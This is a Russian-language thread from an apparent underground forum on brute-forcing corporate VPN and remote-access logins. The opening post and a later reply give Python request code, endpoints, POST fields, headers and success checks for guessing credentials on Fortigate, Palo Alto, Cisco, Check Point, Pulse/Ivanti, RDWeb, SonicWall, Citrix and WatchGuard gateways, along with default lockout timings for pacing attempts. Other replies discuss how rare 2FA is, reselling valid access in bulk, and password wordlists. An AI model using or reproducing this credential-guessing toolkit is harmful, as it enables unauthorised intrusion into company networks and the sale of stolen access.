LIMB
Вход Регистрация

тема

Брут корп впнов. Обсуждение. Вопросы.

qwertye · · 19 ответов · 353 просмотров

В этой теме можно обсудить реализации брута впнов и других удаленных точек входа в сеть, способов обхода блокировок, выбор проксей и словарей, и различные вопросы и решения связанные с этой темой, также предлагать свои реализации(скрипты, софты).

Начну с примеров определения валидных учеток, в качестве яп буду использовать Python:

Fortigate SSL-VPN​

У фортиков форма отправки паролей ведет на url -https://host:port/remote/logincheck

Чтобы сформировать правильный post запрос нужно упаковать данные, следующим образом:

Python:
login, password = 'Jhon', 'P@$$W0RD'
post_params = {'ajax': '1', 'username': login, 'credential': password}

Теперь можно отправить запрос и получить ответ:
Python:
session = requests.Session()
url = 'https://target/remote/logincheck'
response = session.post(url, data=post_params, verify=False, allow_redirects=True)

Хорошо было бы добавлять заголовки(headers) в запрос. Если в теле ответа указан редирект на /remote/hostcheck_install значит, что логин и пароль угаданы верно. Покажу пример такого тела ответа:

'ret=1,redir=/remote/hostcheck_install?auth_type=1&user=скрыто&&grpname=скрыто&portal=скрыто&rip=скрыто&realm='

Стандартные настройки защиты по умолчанию пропускают 2 попытки входа и блокируют возможность аутентификации на 60 секунд. Это все настраивается в индивидуальном порядке админами сетей, диапазон значений блокировки ip адреса - от 0 до 3600 секунд.

На практике я встречал максимальную блокировку на 15 минут.

Palo alto global-protect ssl-vpn​

url - https://host:port/global-protect/login.esp

Упаковка данных:
Python:
post_params = {'prot': '', 'server': target,'inputStr': '', 'action': 'getsoftware', 'user': login, 'passwd': password, 'new-passwd': '', 'confirm-new-passwd': '', 'ok': 'Log In'}

После того как отправили post запрос и получили ответ, понять что учетка валидная можно по редиректу на ../global-protect/getsoftwarepage.esp или наличию этого url в теле ответа:
Python:
if '<script>window.location=\"/global-protect/getsoftwarepage.esp?user=\";</script></html>' in response.text:

Стандартные значени защитных настроек: 9 попыток и 60 секунд бана ip атакуещего, это все настраивается в индивидуальном порядке админами сетей.

Cisco Anyconnect (+cscoe+)​

url - https://host:port/+webvpn+/index.html

Упаковка данных с этим вендором будет зависеть от того есть ли домен/группа для аутентификации, а также обязателен для отправки csrf_token.

Чтобы определить и собрать эти данные, нужно сделать предварительный GET запрос на url https://target/+CSCOE+/logon.html , csrf_token находится в input'е с атрибутом name, со значением csrf_token (input name="csrf_token" ), данный инпут скрыт, поэтому мы не увидим его если откроем страничку в браузере. Значения доменов/групп находятся в тегах option, их может быть несколько, записываем в параметр group_list.

Переходим к упаковке данных для POST запроса:
Python:
# Если домена/группы нет
post_params = {'tgroup': '', 'next': '', 'tgcookieset': '', 'csrf_token': csrf_token, 'username': login, 'password': password, 'Login': 'Login'}
# Если домен/группа есть
post_params = {'tgroup': '', 'next': '', 'tgcookieset': '', 'csrf_token': csrf_token, 'group_list': group, 'username': login, 'password': password, 'Login': 'Login'}

Также нужно указать в заголовках запроса csrf token:
Python:
headers = {'Host':target,'Cookie': f'webvpnlogin=1; webvpnLang=en; CSRFtoken={csrf_token}','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.','Content-Type': 'application/x-www-form-urlencoded','Content-Length': str(len(post_params)),'Origin': f'{target}'}

Теперь отправим post запрос:
Code:
session = requests.Session()
response = session.post(url, data=post_params, headers=headers, verify=False, allow_redirects=False, proxies=proxy)

Получив ответ, понять что заданная пара кред валидна, можем проверить по наличию строки /+CSCOE+/portal.html в теле ответа. Сюда бы отредиректило, если бы вы вручную в браузере ввели правильные креды.
Python:
if '/+CSCOE+/portal.html' in response.text:

По настройкам защиты, не нашел информации, если у кого есть админка или найдет информацию, пишите, обновлю пост.

Check Point SSL VPN (Netextender)​

url - https://host:port/post

Перед упаковкой данных для post запроса, нужно взять значение user_password.timestamp.value, его можно взять из тела ответа get запроса https://target . Вот как выглядит кусок html кода в котором лежит нужное значение:
HTML:
<script language="JavaScript">try { document.user_password.timestamp.value = "1761667214"; neo_upgrade_mode="0"; neo_upgrade_version=""; neo_upgrade_url=""; neo_saa_guilibs=""; neo_saa_url=""; } catch (e) {} </script>

Теперь упакуем параметры и заголовки (тут используются некоторые обязательные характерные для checkpoint заголовки):
Python:
post_params = {'username': login, 'password': password, 'reauthentication':'0', 'timestamp': time_stamp, 'iSecureId': ''}
headers = {'Host':target,'Cookie': f'host={target}; language=english; skin=skin1','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.','Content-Length': str(len(post_params)),'Content-Type': 'application/x-www-form-urlencoded','Upgrade-Insecure-Requests': '1','Origin': f'https://{target}', 'Referer': f'https://{target}/extender.html', 'Connection': 'keep-alive'}

Определить валидность учетки можно простой проверкой строки 'auth_id=' в теле ответа:
Python:
if 'auth_id=' in response.text:

Значения по умолчанию защитных настроек: 3 секунды задержки после 1 неудачной попытки; после 3 неудачных попыток - 300 секунд бана ip атакуещего, это все настраивается в индивидуальном порядке админами сетей.

Pulse/ivanti(dana-na)​

url - https://host:port/dana-na/auth/url_default/login.cgi

Насчет url_default: у некотрых таргетов вместо default, может быть какое-то значение (url_J54G4W95GLHG например), это значение можно взять из url после редиректа с get запроса на https://target , или из ссылки на логотип таргета из html кода ответа.
Для упаковки данных, в этом случае потребуются все input поля из формы входа, которые берутся также предварительным GET запросом, я предоставлю имплементацию на python которой вы можете воспользоваться:
Python:
url_site =  f'https://{target}/dana-na/auth/url_default/welcome.cgi'
request_html = requests.get(url_site, timeout=9, verify=False)
data_parse = {}
for line in request_html.text.split('input')[1:]:
    x = line.split('name="')[1].split('"')[0]
    if x == 'tz_offset':
        data_parse[x] = '-300'
    elif x == 'username':
        data_parse[x] = login
    elif x == 'password':
        data_parse[x] = password
    elif (x != 'tz_offset') and (x != 'username') and (x != 'password'):
        data_parse[x] = line.split('value="')[1].split('">')[0]
    else:
        data_parse[x] = ''

#print(data_parse)
post_params = data_parse

Также если имеется группа/домен, берем их из тегов option и добавляем к данным для POST запроса, с именем параметра realm
Python:
post_params['realm'] = option

Так, как ответы успешной аутентификации у таргетов бывают нескольких типов а url ответа об ошибке одного типа, можно использовать проверку на то, чтобы '/welcome.cgi?p=failed' не находилась в url ответа:
Python:
if '/welcome.cgi?p=failed' not in response.url:

Значения по умолчанию защитных настроек: 3 неудачные попытки входа в минуту; Период блокировки = 2 минуты, это все настраивается в индивидуальном порядке админами сетей.

Rdweb​

url - https://host:port/RDWeb/Pages/en-US/login.aspx

Предварительно парсим домен/группу из скрытого инпута с именем name="WorkSpaceID" и упаковываем данные:
Python:
post_params = 'DomainUserName={}%5C{}&UserPass={}'.format(domain, login, password)

Отправляем post запрос и если в ответе видим статус код редиректа, то это оказалась валидная учетка:
Python:
if 302 == response.status_code:

По умолчанию разрешено неограниченное количество попыток, переменные отвечающие за количество попыток и время бана учетки(по дефолту: 0xb40=2880 минут=2 дня) находятся в реестре HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess\Parameters\AccountLockout : MaxDenials и ResetTime , это все настраивается в индивидуальном порядке админами сетей.

SonicWall​

Я пока нашел две формы аутентификации:
1) url - https://host:port/__api__/v1/logon

Собираем домены/группы предварительно отправив get запрос  на url https://{target}/__api__/v1/config/domains , в ответ получим json данные: нужные ключи - domainName; Запаковка данных:
Python:
domains = requests.get(f'https://{target}/__api__/v1/config/domains', timeout=9, verify=False).json()
for domainx in domains:
    domainx = domainx['domainName']            
    post_params = {'userName': login, 'password': password, 'domainName': domainx}

После отправки post запроса с данными учетной записи, в ответ получим json ответ, понять что учетная запись валидна, можно по ключу status со значением success :
Python:
if response.json()['status'] == 'success':

2) url - https://host:port/cgi-bin/userLogin

Для сбора доменов/групп с такого формата соников, достаточно сделать get запрос на url https://{target}/cgi-bin/welcome и собрать значения всех тегов option. Для упаковки данных потребуется собрать все имена и и значения тегов input и составить словарь. Также в данном случае важно указать заголовки:
Python:
headers = {'Host':target,'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.', 'Content-Type': 'application/x-www-form-urlencoded','Content-Length': str(len(post_params)), 'Accept': 'application/json, text/javascript, */*', 'X-Requested-With': 'XMLHttpRequest', 'Sec-Ch-Ua-Platform': "Linux", 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-Mode': 'cors', 'Sec-Fetch-Dest': 'empty', 'Referer': target, 'Accept-Encoding': 'gzip, deflate, br', 'Priority': 'u=1, i', 'Connection': 'keep-alive', 'Origin': f'{target}'}

Определяем валид по наличую данного url в теле ответа:
Python:
if '/cgi-bin/portal' in response.text:

По настройкам защиты, не нашел информации, если у кого есть админка или найдет информацию, пишите, обновлю пост

Сitrix​

Я пока нашел две формы аутентификации:
1) для /vpn/index, url - https://host:port/cgi/login
Упаковка данных:
Python:
post_params = {'login': login, 'dummy_username': '', 'dummy_pass1': '', 'passwd': password}

Определяем валид по наличию данного кукиса NSC_AAAC:
Python:
if 'NSC_AAAC' in session.cookies.get_dict():

2) для logon/logonpoint , url - https://host:port/nf/auth/doAuthentication.do

Для упаковки данных потребуются все input'ы из формы аутентификации, которые можно вытащить предварительным get-запросом, спарсив их. Как я понимаю, их может быть разное количество, пример:
Python:
post_params = {'login': login, 'passwd': password, 'saveCredentials': 'false', 'passwdreset': '0', 'loginBtn': 'Submit', 'StateContext': 'bG9naW5zY2hlbWE9bHNjaGVtYV9wYXNzd29yZF9yZXNldA%3D%3D'}

Также в post запрос нужно добавить важный заголовок
Code:
'X-Citrix-Am-Credentialtypes': 'none, username, domain, password, newpassword, passcode, savecredentials, textcredential, webview, cancelbutton, nsg-epa, negotiate, nsg_push, nsg_push_otp, nf_sspr_rem, nsg-x1, nsg-setclient, nsg-eula, nsg-tlogin, nsg-fullvpn, nsg-hidden, nsg-auth-failure, nsg-auth-success, nsg-epa-success, nsg-l20n, GoBack, nf-recaptcha, ns-dialogue, nf-gw-test, nf-poll, nsg_qrcode, nsg_manageotp'

Определяем валид по наличию данного кукиса NSC_AAAC:
Python:
if 'NSC_AAAC' in session.cookies.get_dict():

По настройкам защиты, не нашел информации, если у кого есть админка или найдет информацию, пишите, обновлю пост
👍15 🔥1 👏3 😢3
ну и где полный код?
Ответalisa123321

ну и где полный код?

Я описывал принцип, а не обещал готовый код брутеров. Можешь написать свой сам, на основе этой информации или купить.
👍3
Ответqwertye

Я описывал принцип, а не обещал готовый код брутеров. Можешь написать свой сам, на основе этой информации или купить.

я в состоянии написать, но зачем когда есть те кто пытается что то написать, тебе совет чтобы к тебе лояльнее относились, выкладывай полный код
Ответalisa123321

я в состоянии написать, но зачем когда есть те кто пытается что то написать, тебе совет чтобы к тебе лояльнее относились, выкладывай полный код

Еще раз, для непонятливых, я готовый код никому не обещал, тема для обсуждения, хочешь выкладывать - выкладывай сам. На будущее тебе совет, не раздавай советов если не просят.
👍2
Ответqwertye

Еще раз, для непонятливых, я готовый код никому не обещал, тема для обсуждения, хочешь выкладывать - выкладывай сам. На будущее тебе совет, не раздавай советов если не просят.

может да а может нет, а может пошёл ты;)
👍3
Ответalisa123321

может да а может нет, а может пошёл ты;)

Взаимно, дорогу ты знаешь.
👍3
I would compliment on your thought process, which is the zeal to defend intrusions into networks, but hey that&#39;s what the IT guys sitting on the desks are getting paid to do. Bug bounty programs for example are conducted, because organizations want to think from the attackers perspective ( a know thy enemy paradigm), they pay people to bring to light the little details that might have being missed out or paid little attention, that could lead to a full compromise or attack on their infrastructure, hence the need to find 0days or weaknesses in their systems, before the practices of further securing them comes into play.
👍4 🔥1
а что насчет разных версий? везде все одно и тоже будет или есть отличия, которые ты не описал? 
если все нет разницы - то информация мастхев, для любителя пописать тулзы
Ответpolkovnik_igor

а что насчет разных версий? везде все одно и тоже будет или есть отличия, которые ты не описал? если все нет разницы - то информация мастхев, для любителя пописать тулзы

версий много у соника, это то что я знаю
👍2

Watchguard SSL VPN​

URL для аутентификации - https://{target}/wgcgi.cgi
Payload:
Code:
data = {'fw_username': login, 'fw_password': password, 'fw_domain': 'Firebox-DB', 'submit': 'Login', 'action': 'sslvpn_web_logon', 'fw_logon_type': 'logon', 'lang': 'en-US'}

Отправляем запрос:
Code:
ses = requests.Session()
resp = ses.post(f'https://{target}/wgcgi.cgi', verify=False, data=data)
print(resp.url)

Проверка. Если валид, то в адресе будет :
Code:
https://{target}/sslvpn_download.shtml

Если не валид, то:
Code:
https://{target}/sslvpn_logon.shtml?errcode=501
👍5 ❤️1
Ответqwertye

В этой теме можно обсудить реализации брута впнов и других удаленных точек входа в сеть,

Судя по этой фразе. заехал куда нужно с вопросами по брутам.

В соседней теме подсказали что можно попасть на корп VPN через веб морду, назрело с ходу несколько вопросов:*

1 - 2Fa ставится по дефолту на всех корпах или же есть забавные ребята до сих пор?
2 - Есть ли какая уникальная капча у них?
3 - Бывают ли ограничения по IP для входа в личный кабинет, фингерам и прочим привязкам?
4 - Локаются ли личные кабинеты при попытках подбора пассов?
5 - 2Fa бывает через мыло на такие линки?
6 - Берут ли в работу такие линки, и главный вопрос будут ли брать у меня ) если вдруг начнут появляться?  Т.к. ресурсов потребуется немало на запуск брутилки на браузерной эмуляции, поиграться такое точно не пишут и не собирают.

Сам немного могу по браузерной эмуляции, написал не 1 проект, есть заготовки под веб брут со всеми сортировками и пречеками на блеклисты, бед домены, дубликаты и т.д., но пишу только для себя и для своих тем из моей Activity.

* ребят не сочтите за наглость, прост спросить кроме как у вас, мне не у кого. Конечно всё это можно выяснить условным реверсом и записями аномалий чекера, но как бы я не работаю (пока) по сетям, да и линки не прошу.
👍2
ОтветBurgerrr

1 - 2Fa ставится по дефолту на всех корпах или же есть забавные ребята до сих пор?

2фа ставят нормальные админы, к сожалению для корп, к счастью для нас, их не так много

ОтветBurgerrr

2 - Есть ли какая уникальная капча у них?

На перечисленных выше вендорах такого не встречал

ОтветBurgerrr

3 - Бывают ли ограничения по IP для входа в личный кабинет, фингерам и прочим привязкам?

Да бывают, acl листы , гео блок, кол-во одновременных сессий и тд

ОтветBurgerrr

4 - Локаются ли личные кабинеты при попытках подбора пассов?

Да, на сколько времени? опять же зависит от админа который выставит настройки таймингов или оставит по дефолту

ОтветBurgerrr

5 - 2Fa бывает через мыло на такие линки?

Через мыло, через sms, токены , разные есть придумки

ОтветBurgerrr

6 - Берут ли в работу такие линки, и главный вопрос будут ли брать у меня ) если вдруг начнут появляться? Т.к. ресурсов потребуется немало на запуск брутилки на браузерной эмуляции, поиграться такое точно не пишут и не…

Не понял твоего вопроса
👍3
Ответqwertye

Не понял твоего вопроса

Я думаю он имел ввиду продажу найденых валидов через свой метод
👍2
ОтветMonaliza

Я думаю он имел ввиду продажу найденых валидов через свой метод

В принципе может да , но думаю просто валид это надо пачками продавать, либо разбирать сети и продовать дороже что продается, либо стать чьим-то поставщиком , либо <подставьте вариант своей фантазии>
👍1
Ответqwertye

2фа ставят нормальные админы, к сожалению для корп, к счастью для нас, их не так много На перечисленных выше вендорах такого не встречал Да бывают, acl листы , гео блок, кол-во одновременных сессий и тд Да, на сколько…

Благодарю, реально от души, даже и не надеялся получить на столько развернутого ответа!

Буквально за сутки штудирования борда, понял насколько я был не прав и мелко мыслю со своей браузерной эмуляцией). 

Вдруг, случайно в этой ветке окажутся WEB брутеры на браузерной эмуляции, пришедшие с кардинга, следующие слова для вас: Если вы думаете что, что-то умеете и знаете, то ошибаетесь. Тут совсем другая кухня, и если консоль ваш враг, то готовьтесь занять место поближе к выходу т.к. ваши умения покупаются за 100$ на любом школьном форуме. Только ТЗ составь. 

И дать тот результат который от вас будет ждать местное комьюнити, вы скорее всего не сможете. Либо ваш метод добычи доступов будет несопоставимо дорог по сравнению с консольными софтами и массканами.

Конкурировать WEB эмуляции с консолью врядли возможно, если только какие-то кастомные решения под валид доступы, либо какие то рассыльщики с валидных мыл, через веб морду майла с автосоставлением письма, но как бы к добыче доступов это косвенно относится, да и по масштабированию и скорости работы будут вопросики.

В общем только второстепенные решения, которые очень сложно будет поддерживать в актуально состоянии в виду частого обновления защит от эмуляций и самих браузерных клиентов.

Админы и причасные, простите за возможную излишнюю активность ), но мне тут прост ооооочень нравится я давно искал всю эту инфу, спасибо что делитесь и мотивируете комьюнити писать статьи!!! 

Отдельное спасибо ребятам кто участвует в конкурсе и описывает красоту, у меня аж ладошки потеют после прочтения некоторых.

Жму руку братцы, ушёл изучать курс (Полный курс этичного взлома и кибербезопасности (2025)), и все конкурснеые статьи, дабы не задавать больше глупых вопросов.
👍2
Какие словари используете для брута? Rockyou.txt уже ни для чего не подходит как
👍1
Ответely

Какие словари используете для брута? Rockyou.txt уже ни для чего не подходит как

Плюсону. Подкиньте годных словарей. Использовал rockyou для вардравинга. Брутит быстро по сути только пароли с одними цифрами...
👍2
Составляйте свои словари, зачем вам списки которые используют куча народа и делить с ними доступы?
👍3
Плюсую. Словари делайте исходя из ситуации и конкретного таргета, гео, плюс можно собирать из готовых на гитхабе лежат, так же по гео разделены. Еще можете поискать такую штуку как realuniq.lst гигов на 15 файл, пробивал даже мои собственные пароли некоторые.

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.